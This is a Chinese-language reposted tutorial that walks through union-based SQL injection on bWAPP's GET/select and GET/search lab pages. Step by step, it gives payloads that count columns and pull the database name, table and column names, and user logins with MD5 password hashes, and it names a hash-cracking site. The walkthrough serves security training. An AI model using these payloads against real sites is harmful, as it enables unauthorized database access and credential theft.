SQL注入之GET型(select)
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之GET型(select)相关的知识,希望对你有一定的参考价值。
参考技术A 0x01:测试分析我们进行测试这里是否存在SQL注入漏洞
输入'
点击go后
报错了,说明很大可能存在SQL注入漏洞了。
0x02:爆字段(字段就是这个数据表中的列)
-1 order by 1#
-1 order by 2#
........
-1 order by 7#
-1 order by 8#
所以可以判断出来,一共有7个列。
0x03:爆数据库名
-1 union select 1,database(),user(),4,5,6,7 #
当前数据库名为bwapp
0x04:爆表(即获取当前数据库有哪些表)
-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database() #
经判断,当前查询方式有限制 limit 0,1
可以通过group_concat() 查询
当前数据库有,五张表,分别是
blog,heroes,movies,users,visitors
0x05:获取后台账户用户名和密码
-- 查users表的列名
-1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='users'#
users表中有9列,分别是
id,login,password,email,secret,activation_code,activated,reset_code,admin
-- 查login和password的内容
-1 union select 1,group_concat(login),group_concat(password),4,5,6,7 from users#
获得两个账户 A.I.M.和 bee
密码需要先解密
md5解密地址:cmd5.com
SQL注入之GET型(search)
参考技术A我们进行测试这里是否存在SQL注入漏洞
输入a\'
点击搜索后
报错了,说明很大可能存在SQL注入漏洞了。
order by 语句
输入 a\' order by 1 #
输入a\' order by 7#
输入a\' order by 8#
由此可以判断出,库中有7个列。
使用联合查询注入union
输入a\' union select 1,2,3,4,5,6,7#
可以看出是从2开始显示。
可以将2,3,5,4,替换成我们想要查询的信息
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
输入a\' union select 1,database(),3,4,5,6,7#
可见当前数据库为bwapp
输入a\' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#
当前数据库(bwapp)中,有五张表,其中users比较重要。
先查看users表的所有的列的信息
输入a\' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name=\'users\'#
一共有9列。
其中的login和password,应该是我们有我们想要的东西。
那我们就去查出它们的信息
输入a\' union select 1,login,password,4,5,6,7 from users#
获取login信息和password密码
其中密码是经过md5加密,我们需要去解密
以上是关于SQL注入之GET型(select)的主要内容,如果未能解决你的问题,请参考以下文章